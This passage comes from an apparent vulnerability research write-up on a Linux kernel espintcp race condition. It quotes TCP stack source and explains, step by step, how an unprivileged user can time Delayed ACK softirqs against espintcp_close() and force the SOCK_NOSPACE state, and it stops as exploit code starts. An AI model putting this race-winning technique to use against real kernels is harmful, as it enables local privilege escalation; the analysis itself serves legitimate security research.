                                       tcp_v4_rcv()
                                         tcp_v4_do_rcv()
                                           tcp_rcv_established()
                                             tcp_data_snd_check()
                                               tcp_check_space()
                                                 espintcp_write_space()
                                                   schedule_work(&amp;ctx-&gt;work);
</code></pre></div></div>

<p>The second approach is to use TCP’s Delayed ACK timer. Delayed ACK is a mechanism where the receiver does not send an ACK immediately, waits for a short time to see if more data arrives, and then sends a single ACK. The goal is to reduce the number of packets.</p>

<p>In the Linux TCP stack, <code class="language-plaintext highlighter-rouge">tcp_send_delayed_ack()</code> sets up <code class="language-plaintext highlighter-rouge">tcp_delack_timer()</code> through <code class="language-plaintext highlighter-rouge">sk_reset_timer()</code> to delay ACK transmission. When the timer expires, <code class="language-plaintext highlighter-rouge">tcp_delack_timer()</code> runs and enters the path that sends the pending ACK. Here, <code class="language-plaintext highlighter-rouge">sk_reset_timer()</code> is the function that arms a kernel timer attached to the socket, and this timer is handled in softirq context. As a result, <code class="language-plaintext highlighter-rouge">tcp_delack_timer()</code> runs in softirq context, and by its nature it can run asynchronously even while <code class="language-plaintext highlighter-rouge">espintcp_close()</code> is in progress.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">tcp_send_delayed_ack</span><span class="p">(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span><span class="p">)</span>
<span class="p">{</span>
        <span class="k">struct</span> <span class="n">inet_connection_sock</span> <span class="o">*</span><span class="n">icsk</span> <span class="o">=</span> <span class="n">inet_csk</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>
        <span class="kt">int</span> <span class="n">ato</span> <span class="o">=</span> <span class="n">icsk</span><span class="o">-&gt;</span><span class="n">icsk_ack</span><span class="p">.</span><span class="n">ato</span><span class="p">;</span>
        <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">timeout</span><span class="p">;</span>
        
        <span class="p">[...]</span>

        <span class="n">ato</span> <span class="o">=</span> <span class="n">min_t</span><span class="p">(</span><span class="n">u32</span><span class="p">,</span> <span class="n">ato</span><span class="p">,</span> <span class="n">tcp_delack_max</span><span class="p">(</span><span class="n">sk</span><span class="p">));</span>

        <span class="cm">/* Stay within the limit we were given */</span>
        <span class="n">timeout</span> <span class="o">=</span> <span class="n">jiffies</span> <span class="o">+</span> <span class="n">ato</span><span class="p">;</span>

        <span class="cm">/* Use new timeout only if there wasn't a older one earlier. */</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">icsk</span><span class="o">-&gt;</span><span class="n">icsk_ack</span><span class="p">.</span><span class="n">pending</span> <span class="o">&amp;</span> <span class="n">ICSK_ACK_TIMER</span><span class="p">)</span> <span class="p">{</span>
                <span class="cm">/* If delack timer is about to expire, send ACK now. */</span>
                <span class="k">if</span> <span class="p">(</span><span class="n">time_before_eq</span><span class="p">(</span><span class="n">icsk_delack_timeout</span><span class="p">(</span><span class="n">icsk</span><span class="p">),</span> <span class="n">jiffies</span> <span class="o">+</span> <span class="p">(</span><span class="n">ato</span> <span class="o">&gt;&gt;</span> <span class="mi">2</span><span class="p">)))</span> <span class="p">{</span>
                        <span class="n">tcp_send_ack</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>
                        <span class="k">return</span><span class="p">;</span>
                <span class="p">}</span>

                <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">time_before</span><span class="p">(</span><span class="n">timeout</span><span class="p">,</span> <span class="n">icsk_delack_timeout</span><span class="p">(</span><span class="n">icsk</span><span class="p">)))</span>
                        <span class="n">timeout</span> <span class="o">=</span> <span class="n">icsk_delack_timeout</span><span class="p">(</span><span class="n">icsk</span><span class="p">);</span>
        <span class="p">}</span>
        <span class="n">smp_store_release</span><span class="p">(</span><span class="o">&amp;</span><span class="n">icsk</span><span class="o">-&gt;</span><span class="n">icsk_ack</span><span class="p">.</span><span class="n">pending</span><span class="p">,</span>
                          <span class="n">icsk</span><span class="o">-&gt;</span><span class="n">icsk_ack</span><span class="p">.</span><span class="n">pending</span> <span class="o">|</span> <span class="n">ICSK_ACK_SCHED</span> <span class="o">|</span> <span class="n">ICSK_ACK_TIMER</span><span class="p">);</span>
        <span class="n">sk_reset_timer</span><span class="p">(</span><span class="n">sk</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">icsk</span><span class="o">-&gt;</span><span class="n">icsk_delack_timer</span><span class="p">,</span> <span class="n">timeout</span><span class="p">);</span>    <span class="c1">// tcp_delack_timer()</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Abstracted, this scenario looks like this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>           cpu0

[ process context ]
sendmsg()
  ...
    raise NET_RX_SOFTIRQ

[ NET_RX softirq context - sending DATA ]
net_rx_action()
  ...
    __tcp_ack_snd_check()
      tcp_send_delayed_ack()
        sk_reset_timer(&amp;icsk-&gt;icsk_delack_timer)

[ process context ]
close()
  inet_release()
    espintcp_close()
      cancel_work_sync(&amp;ctx-&gt;work);

[ timer softirq context - Delayed ACK ]
tcp_delack_timer()
  tcp_delack_timer_handler()
    tcp_send_ack()
      ...
        raise NET_RX_SOFTIRQ

[ NET_RX softirq context - ACK ]
net_rx_action()
  ...
    tcp_data_snd_check()
      tcp_check_space()
        espintcp_write_space()
          schedule_work(&amp;ctx-&gt;work);
</code></pre></div></div>

<p>Because the <code class="language-plaintext highlighter-rouge">tcp_delack_timer()</code> handler is scheduled with an explicit delay through <code class="language-plaintext highlighter-rouge">sk_reset_timer()</code>, its execution time is relatively predictable and easier to control. This path also does not rely on a parallel thread. Instead, it runs in softirq context and can interrupt the execution of <code class="language-plaintext highlighter-rouge">espintcp_close()</code>. That makes it possible to stop the close path right after the <code class="language-plaintext highlighter-rouge">cancel_work_sync(&amp;ctx-&gt;work)</code> call. For these reasons, using Delayed ACK is more favorable for controlling the race timing, and this article uses this approach.</p>

<h1 id="the-espintcp-race-step-by-step">The espintcp Race, Step by Step</h1>

<p>This race scenario relies on a complex interaction where the TCP send path, receive path, workqueue processing, socket teardown, and interrupt-driven asynchronous paths are all active at the same time. Each step runs in a different context (process, interrupt, worker), and the outcome can vary significantly depending on timing. For that reason, the conditions and progression of the race scenario are broken down into multiple stages and analyzed step by step.</p>

<h2 id="arming-the-socket-state">Arming the Socket State</h2>

<p><code class="language-plaintext highlighter-rouge">-&gt;sk_write_space()</code> is a hook that is called when free space becomes available in the send buffer again. For this hook to be called, the socket must have been blocked at least once in the past due to lack of send buffer space. In the kernel, this state is tracked with the <code class="language-plaintext highlighter-rouge">SOCK_NOSPACE</code> flag.</p>

<p>In the ACK softirq path, <code class="language-plaintext highlighter-rouge">tcp_check_space()</code> is called to check whether there is free space in the send buffer. Looking at its implementation, it becomes clear that <code class="language-plaintext highlighter-rouge">-&gt;sk_write_space()</code> is only invoked when the target socket has the <code class="language-plaintext highlighter-rouge">SOCK_NOSPACE</code> flag set.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">tcp_new_space</span><span class="p">(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span><span class="p">)</span>
<span class="p">{</span>
        <span class="k">struct</span> <span class="n">tcp_sock</span> <span class="o">*</span><span class="n">tp</span> <span class="o">=</span> <span class="n">tcp_sk</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">tcp_should_expand_sndbuf</span><span class="p">(</span><span class="n">sk</span><span class="p">))</span> <span class="p">{</span>
                <span class="n">tcp_sndbuf_expand</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>
                <span class="n">tp</span><span class="o">-&gt;</span><span class="n">snd_cwnd_stamp</span> <span class="o">=</span> <span class="n">tcp_jiffies32</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="n">INDIRECT_CALL_1</span><span class="p">(</span><span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_write_space</span><span class="p">,</span> <span class="n">sk_stream_write_space</span><span class="p">,</span> <span class="n">sk</span><span class="p">);</span>   <span class="c1">// espintcp_write_space()</span>
<span class="p">}</span>

<span class="kt">void</span> <span class="nf">tcp_check_space</span><span class="p">(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span><span class="p">)</span>
<span class="p">{</span>
        <span class="cm">/* pairs with tcp_poll() */</span>
        <span class="n">smp_mb</span><span class="p">();</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_socket</span> <span class="o">&amp;&amp;</span>
            <span class="n">test_bit</span><span class="p">(</span><span class="n">SOCK_NOSPACE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_socket</span><span class="o">-&gt;</span><span class="n">flags</span><span class="p">))</span> <span class="p">{</span>
                <span class="n">tcp_new_space</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>
                <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">test_bit</span><span class="p">(</span><span class="n">SOCK_NOSPACE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_socket</span><span class="o">-&gt;</span><span class="n">flags</span><span class="p">))</span>
                        <span class="n">tcp_chrono_stop</span><span class="p">(</span><span class="n">sk</span><span class="p">,</span> <span class="n">TCP_CHRONO_SNDBUF_LIMITED</span><span class="p">);</span>
        <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>In other words, to start the race scenario, the first step is to put the target TCP socket into a state where the <code class="language-plaintext highlighter-rouge">SOCK_NOSPACE</code> flag is set. This <code class="language-plaintext highlighter-rouge">SOCK_NOSPACE</code> flag is set inside <code class="language-plaintext highlighter-rouge">tcp_sendmsg_locked()</code>, which is called from the <code class="language-plaintext highlighter-rouge">sendmsg()</code> path, when the condition of insufficient send buffer space is met.</p>

<p>The sequence that leads to the <code class="language-plaintext highlighter-rouge">SOCK_NOSPACE</code> flag being set is as follows.</p>

<ol>
  <li>As the client socket keeps calling <code class="language-plaintext highlighter-rouge">sendmsg()</code> repeatedly, the server socket’s <code class="language-plaintext highlighter-rouge">sk-&gt;sk_receive_queue</code> gradually fills up. At some point, the <code class="language-plaintext highlighter-rouge">tcp_hdr(skb)-&gt;window</code> value in the ACK skb sent by the server socket is set to 0 (Zero Window). This means that the server socket no longer has free space to receive more data.</li>
  <li>
    <p>Once the Zero Window state is reached, the ACK handling path, <code class="language-plaintext highlighter-rouge">tcp_ack()</code> → <code class="language-plaintext highlighter-rouge">tcp_ack_update_window()</code> → <code class="language-plaintext highlighter-rouge">tcp_snd_una_update()</code>, enters a situation where the advancement of <code class="language-plaintext highlighter-rouge">sk-&gt;snd_una</code> easily stalls<code class="language-plaintext highlighter-rouge">[1]</code>. This happens because the server side can no longer accept more data, which makes it difficult for new data to be delivered from the client side, and as a result the same ACK number keeps arriving. In this case, the ACK value passed to <code class="language-plaintext highlighter-rouge">tcp_snd_una_update()</code> is the same as before, so <code class="language-plaintext highlighter-rouge">sk-&gt;snd_una</code> does not move forward either.</p>

    <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">tcp_snd_una_update</span><span class="p">(</span><span class="k">struct</span> <span class="n">tcp_sock</span> <span class="o">*</span><span class="n">tp</span><span class="p">,</span> <span class="n">u32</span> <span class="n">ack</span><span class="p">)</span>
<span class="p">{</span>
        <span class="n">u32</span> <span class="n">delta</span> <span class="o">=</span> <span class="n">ack</span> <span class="o">-</span> <span class="n">tp</span><span class="o">-&gt;</span><span class="n">snd_una</span><span class="p">;</span>

        <span class="n">sock_owned_by_me</span><span class="p">((</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="p">)</span><span class="n">tp</span><span class="p">);</span>
        <span class="n">tp</span><span class="o">-&gt;</span><span class="n">bytes_acked</span> <span class="o">+=</span> <span class="n">delta</span><span class="p">;</span>
        <span class="n">tcp_snd_sne_update</span><span class="p">(</span><span class="n">tp</span><span class="p">,</span> <span class="n">ack</span><span class="p">);</span>
        <span class="n">tp</span><span class="o">-&gt;</span><span class="n">snd_una</span> <span class="o">=</span> <span class="n">ack</span><span class="p">;</span>    <span class="c1">// &lt;=[1]</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">int</span> <span class="nf">tcp_ack_update_window</span><span class="p">(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span><span class="p">,</span> <span class="k">const</span> <span class="k">struct</span> <span class="n">sk_buff</span> <span class="o">*</span><span class="n">skb</span><span class="p">,</span> <span class="n">u32</span> <span class="n">ack</span><span class="p">,</span>
                                 <span class="n">u32</span> <span class="n">ack_seq</span><span class="p">)</span>
<span class="p">{</span>
        <span class="k">struct</span> <span class="n">tcp_sock</span> <span class="o">*</span><span class="n">tp</span> <span class="o">=</span> <span class="n">tcp_sk</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>
        <span class="kt">int</span> <span class="n">flag</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="n">u32</span> <span class="n">nwin</span> <span class="o">=</span> <span class="n">ntohs</span><span class="p">(</span><span class="n">tcp_hdr</span><span class="p">(</span><span class="n">skb</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">window</span><span class="p">);</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">likely</span><span class="p">(</span><span class="o">!</span><span class="n">tcp_hdr</span><span class="p">(</span><span class="n">skb</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">syn</span><span class="p">))</span>
                <span class="n">nwin</span> <span class="o">&lt;&lt;=</span> <span class="n">tp</span><span class="o">-&gt;</span><span class="n">rx_opt</span><span class="p">.</span><span class="n">snd_wscale</span><span class="p">;</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">tcp_may_update_window</span><span class="p">(</span><span class="n">tp</span><span class="p">,</span> <span class="n">ack</span><span class="p">,</span> <span class="n">ack_seq</span><span class="p">,</span> <span class="n">nwin</span><span class="p">))</span> <span class="p">{</span>
                <span class="n">flag</span> <span class="o">|=</span> <span class="n">FLAG_WIN_UPDATE</span><span class="p">;</span>
                <span class="n">tcp_update_wl</span><span class="p">(</span><span class="n">tp</span><span class="p">,</span> <span class="n">ack_seq</span><span class="p">);</span>

                <span class="k">if</span> <span class="p">(</span><span class="n">tp</span><span class="o">-&gt;</span><span class="n">snd_wnd</span> <span class="o">!=</span> <span class="n">nwin</span><span class="p">)</span> <span class="p">{</span>
                        <span class="n">tp</span><span class="o">-&gt;</span><span class="n">snd_wnd</span> <span class="o">=</span> <span class="n">nwin</span><span class="p">;</span>

                        <span class="cm">/* Note, it is the only place, where
                         * fast path is recovered for sending TCP.
                         */</span>
                        <span class="n">tp</span><span class="o">-&gt;</span><span class="n">pred_flags</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
                        <span class="n">tcp_fast_path_check</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>

                        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">tcp_write_queue_empty</span><span class="p">(</span><span class="n">sk</span><span class="p">))</span>
                                <span class="n">tcp_slow_start_after_idle_check</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>

                        <span class="k">if</span> <span class="p">(</span><span class="n">nwin</span> <span class="o">&gt;</span> <span class="n">tp</span><span class="o">-&gt;</span><span class="n">max_window</span><span class="p">)</span> <span class="p">{</span>
                                <span class="n">tp</span><span class="o">-&gt;</span><span class="n">max_window</span> <span class="o">=</span> <span class="n">nwin</span><span class="p">;</span>
                                <span class="n">tcp_sync_mss</span><span class="p">(</span><span class="n">sk</span><span class="p">,</span> <span class="n">inet_csk</span><span class="p">(</span><span class="n">sk</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">icsk_pmtu_cookie</span><span class="p">);</span>
                        <span class="p">}</span>
                <span class="p">}</span>
        <span class="p">}</span>

        <span class="n">tcp_snd_una_update</span><span class="p">(</span><span class="n">tp</span><span class="p">,</span> <span class="n">ack</span><span class="p">);</span>

        <span class="k">return</span> <span class="n">flag</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>    </div>
  </li>
  <li>
    <p>As a result, in the final stage of ACK processing, <code class="language-plaintext highlighter-rouge">tcp_ack()</code> → <code class="language-plaintext highlighter-rouge">tcp_clean_rtx_queue()</code>, the skb objects in the client side <code class="language-plaintext highlighter-rouge">sk-&gt;tcp_rtx_queue</code> are considered not fully acked<code class="language-plaintext highlighter-rouge">[2]</code> and are left in place instead of being removed<code class="language-plaintext highlighter-rouge">[3]</code>. Because of this, memory accounting for <code class="language-plaintext highlighter-rouge">sk-&gt;tcp_rtx_queue</code> is not released. In the end, <code class="language-plaintext highlighter-rouge">sk-&gt;sk_wmem_queued</code> no longer goes down, and if sending continues, it actually starts to grow.</p>

    <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">tcp_clean_rtx_queue</span><span class="p">(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span><span class="p">,</span> <span class="k">const</span> <span class="k">struct</span> <span class="n">sk_buff</span> <span class="o">*</span><span class="n">ack_skb</span><span class="p">,</span>
                               <span class="n">u32</span> <span class="n">prior_fack</span><span class="p">,</span> <span class="n">u32</span> <span class="n">prior_snd_una</span><span class="p">,</span>
                               <span class="k">struct</span> <span class="n">tcp_sacktag_state</span> <span class="o">*</span><span class="n">sack</span><span class="p">,</span> <span class="n">bool</span> <span class="n">ece_ack</span><span class="p">)</span>
<span class="p">{</span>
        <span class="k">const</span> <span class="k">struct</span> <span class="n">inet_connection_sock</span> <span class="o">*</span><span class="n">icsk</span> <span class="o">=</span> <span class="n">inet_csk</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>
        <span class="n">u64</span> <span class="n">first_ackt</span><span class="p">,</span> <span class="n">last_ackt</span><span class="p">;</span>
        <span class="k">struct</span> <span class="n">tcp_sock</span> <span class="o">*</span><span class="n">tp</span> <span class="o">=</span> <span class="n">tcp_sk</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>
        <span class="n">u32</span> <span class="n">prior_sacked</span> <span class="o">=</span> <span class="n">tp</span><span class="o">-&gt;</span><span class="n">sacked_out</span><span class="p">;</span>
        <span class="n">u32</span> <span class="n">reord</span> <span class="o">=</span> <span class="n">tp</span><span class="o">-&gt;</span><span class="n">snd_nxt</span><span class="p">;</span> <span class="cm">/* lowest acked un-retx un-sacked seq */</span>
        <span class="k">struct</span> <span class="n">sk_buff</span> <span class="o">*</span><span class="n">skb</span><span class="p">,</span> <span class="o">*</span><span class="n">next</span><span class="p">;</span>
        <span class="n">bool</span> <span class="n">fully_acked</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
        <span class="kt">long</span> <span class="n">sack_rtt_us</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1L</span><span class="p">;</span>
        <span class="kt">long</span> <span class="n">seq_rtt_us</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1L</span><span class="p">;</span>
        <span class="kt">long</span> <span class="n">ca_rtt_us</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1L</span><span class="p">;</span>
        <span class="n">u32</span> <span class="n">pkts_acked</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="n">bool</span> <span class="n">rtt_update</span><span class="p">;</span>
        <span class="kt">int</span> <span class="n">flag</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

        <span class="n">first_ackt</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

        <span class="k">for</span> <span class="p">(</span><span class="n">skb</span> <span class="o">=</span> <span class="n">skb_rb_first</span><span class="p">(</span><span class="o">&amp;</span><span class="n">sk</span><span class="o">-&gt;</span><span class="n">tcp_rtx_queue</span><span class="p">);</span> <span class="n">skb</span><span class="p">;</span> <span class="n">skb</span> <span class="o">=</span> <span class="n">next</span><span class="p">)</span> <span class="p">{</span>
                <span class="k">struct</span> <span class="n">tcp_skb_cb</span> <span class="o">*</span><span class="n">scb</span> <span class="o">=</span> <span class="n">TCP_SKB_CB</span><span class="p">(</span><span class="n">skb</span><span class="p">);</span>
                <span class="k">const</span> <span class="n">u32</span> <span class="n">start_seq</span> <span class="o">=</span> <span class="n">scb</span><span class="o">-&gt;</span><span class="n">seq</span><span class="p">;</span>
                <span class="n">u8</span> <span class="n">sacked</span> <span class="o">=</span> <span class="n">scb</span><span class="o">-&gt;</span><span class="n">sacked</span><span class="p">;</span>
                <span class="n">u32</span> <span class="n">acked_pcount</span><span class="p">;</span>

                <span class="cm">/* Determine how many packets and what bytes were acked, tso and else */</span>
                <span class="k">if</span> <span class="p">(</span><span class="n">after</span><span class="p">(</span><span class="n">scb</span><span class="o">-&gt;</span><span class="n">end_seq</span><span class="p">,</span> <span class="n">tp</span><span class="o">-&gt;</span><span class="n">snd_una</span><span class="p">))</span> <span class="p">{</span>    <span class="c1">// &lt;=[2]</span>
                        <span class="k">if</span> <span class="p">(</span><span class="n">tcp_skb_pcount</span><span class="p">(</span><span class="n">skb</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span> <span class="o">||</span>
                            <span class="o">!</span><span class="n">after</span><span class="p">(</span><span class="n">tp</span><span class="o">-&gt;</span><span class="n">snd_una</span><span class="p">,</span> <span class="n">scb</span><span class="o">-&gt;</span><span class="n">seq</span><span class="p">))</span>
                                <span class="k">break</span><span class="p">;</span>    <span class="c1">// &lt;=[3]</span>

                        <span class="n">acked_pcount</span> <span class="o">=</span> <span class="n">tcp_tso_acked</span><span class="p">(</span><span class="n">sk</span><span class="p">,</span> <span class="n">skb</span><span class="p">);</span>
                        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">acked_pcount</span><span class="p">)</span>
                                <span class="k">break</span><span class="p">;</span>
                        <span class="n">fully_acked</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
                <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
                        <span class="n">acked_pcount</span> <span class="o">=</span> <span class="n">tcp_skb_pcount</span><span class="p">(</span><span class="n">skb</span><span class="p">);</span>
                <span class="p">}</span>

        <span class="p">[...]</span>
<span class="p">}</span>
</code></pre></div>    </div>
  </li>
  <li>
    <p>As <code class="language-plaintext highlighter-rouge">sendmsg()</code> keeps being called, the <code class="language-plaintext highlighter-rouge">skb-&gt;len</code> accumulated into a single skb inside <code class="language-plaintext highlighter-rouge">tcp_sendmsg_locked()</code> keeps increasing and eventually reaches <code class="language-plaintext highlighter-rouge">size_goal</code>. At that point, there is no space left to copy, so <code class="language-plaintext highlighter-rouge">copy</code> becomes <code class="language-plaintext highlighter-rouge">0</code> <code class="language-plaintext highlighter-rouge">[4]</code>, and as a result the code path enters the <code class="language-plaintext highlighter-rouge">new_segment:</code> label<code class="language-plaintext highlighter-rouge">[5]</code>.</p>

    <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kr">inline</span> <span class="n">bool</span> <span class="nf">__sk_stream_memory_free</span><span class="p">(</span><span class="k">const</span> <span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span><span class="p">,</span> <span class="kt">int</span> <span class="n">wake</span><span class="p">)</span>
<span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">READ_ONCE</span><span class="p">(</span><span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_wmem_queued</span><span class="p">)</span> <span class="o">&gt;=</span> <span class="n">READ_ONCE</span><span class="p">(</span><span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_sndbuf</span><span class="p">))</span>
                <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>

        <span class="k">return</span> <span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_prot</span><span class="o">-&gt;</span><span class="n">stream_memory_free</span> <span class="o">?</span>
                <span class="n">INDIRECT_CALL_INET_1</span><span class="p">(</span><span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_prot</span><span class="o">-&gt;</span><span class="n">stream_memory_free</span><span class="p">,</span>
                                     <span class="n">tcp_stream_memory_free</span><span class="p">,</span> <span class="n">sk</span><span class="p">,</span> <span class="n">wake</span><span class="p">)</span> <span class="o">:</span> <span class="nb">true</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kr">inline</span> <span class="n">bool</span> <span class="nf">sk_stream_memory_free</span><span class="p">(</span><span class="k">const</span> <span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span><span class="p">)</span>
<span class="p">{</span>
        <span class="k">return</span> <span class="n">__sk_stream_memory_free</span><span class="p">(</span><span class="n">sk</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">tcp_sendmsg_locked</span><span class="p">(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span><span class="p">,</span> <span class="k">struct</span> <span class="n">msghdr</span> <span class="o">*</span><span class="n">msg</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">size</span><span class="p">)</span>
<span class="p">{</span>
        <span class="p">[...]</span>

<span class="nl">restart:</span>
        <span class="n">mss_now</span> <span class="o">=</span> <span class="n">tcp_send_mss</span><span class="p">(</span><span class="n">sk</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">size_goal</span><span class="p">,</span> <span class="n">flags</span><span class="p">);</span>

        <span class="n">err</span> <span class="o">=</span> <span class="o">-</span><span class="n">EPIPE</span><span class="p">;</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_err</span> <span class="o">||</span> <span class="p">(</span><span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_shutdown</span> <span class="o">&amp;</span> <span class="n">SEND_SHUTDOWN</span><span class="p">))</span>
                <span class="k">goto</span> <span class="n">do_error</span><span class="p">;</span>

        <span class="k">while</span> <span class="p">(</span><span class="n">msg_data_left</span><span class="p">(</span><span class="n">msg</span><span class="p">))</span> <span class="p">{</span>
                <span class="kt">int</span> <span class="n">copy</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

                <span class="n">skb</span> <span class="o">=</span> <span class="n">tcp_write_queue_tail</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>
                <span class="k">if</span> <span class="p">(</span><span class="n">skb</span><span class="p">)</span>
                        <span class="n">copy</span> <span class="o">=</span> <span class="n">size_goal</span> <span class="o">-</span> <span class="n">skb</span><span class="o">-&gt;</span><span class="n">len</span><span class="p">;</span>    <span class="c1">// &lt;=[4]</span>

                <span class="n">trace_tcp_sendmsg_locked</span><span class="p">(</span><span class="n">sk</span><span class="p">,</span> <span class="n">msg</span><span class="p">,</span> <span class="n">skb</span><span class="p">,</span> <span class="n">size_goal</span><span class="p">);</span>

                <span class="k">if</span> <span class="p">(</span><span class="n">copy</span> <span class="o">&lt;=</span> <span class="mi">0</span> <span class="o">||</span> <span class="o">!</span><span class="n">tcp_skb_can_collapse_to</span><span class="p">(</span><span class="n">skb</span><span class="p">))</span> <span class="p">{</span>    <span class="c1">// &lt;=[5]</span>
                        <span class="n">bool</span> <span class="n">first_skb</span><span class="p">;</span>

<span class="nl">new_segment:</span>
                        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">sk_stream_memory_free</span><span class="p">(</span><span class="n">sk</span><span class="p">))</span>    <span class="c1">// &lt;=[6]</span>
                                <span class="k">goto</span> <span class="n">wait_for_space</span><span class="p">;</span>

                <span class="p">[...]</span>

<span class="nl">wait_for_space:</span>
                <span class="n">set_bit</span><span class="p">(</span><span class="n">SOCK_NOSPACE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_socket</span><span class="o">-&gt;</span><span class="n">flags</span><span class="p">);</span>    <span class="c1">// &lt;=[7]</span>
                <span class="n">tcp_remove_empty_skb</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>
                <span class="k">if</span> <span class="p">(</span><span class="n">copied</span><span class="p">)</span>
                        <span class="n">tcp_push</span><span class="p">(</span><span class="n">sk</span><span class="p">,</span> <span class="n">flags</span> <span class="o">&amp;</span> <span class="o">~</span><span class="n">MSG_MORE</span><span class="p">,</span> <span class="n">mss_now</span><span class="p">,</span>
                                 <span class="n">TCP_NAGLE_PUSH</span><span class="p">,</span> <span class="n">size_goal</span><span class="p">);</span>
        <span class="p">[...]</span>
<span class="p">}</span>
</code></pre></div>    </div>
  </li>
  <li>Because <code class="language-plaintext highlighter-rouge">sk-&gt;sk_wmem_queued</code> has kept increasing, it ends up being much larger than <code class="language-plaintext highlighter-rouge">sk-&gt;sk_sndbuf</code>, and the code moves to the <code class="language-plaintext highlighter-rouge">wait_for_space:</code> label<code class="language-plaintext highlighter-rouge">[6]</code>. After that, the <code class="language-plaintext highlighter-rouge">SOCK_NOSPACE</code> flag is finally set<code class="language-plaintext highlighter-rouge">[7]</code>.</li>
</ol>

<p>A straightforward way for an unprivileged user to trigger this sequence is to pass a small send buffer size hint to the target socket with <code class="language-plaintext highlighter-rouge">setsockopt(SO_SNDBUF)</code> and then keep calling <code class="language-plaintext highlighter-rouge">send()</code> in a loop. For example, if the send buffer size is constrained to a small value and <code class="language-plaintext highlighter-rouge">send()</code> is repeated enough times as shown below, the conditions described above are reached relatively easily.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">1024</span><span class="p">];</span>
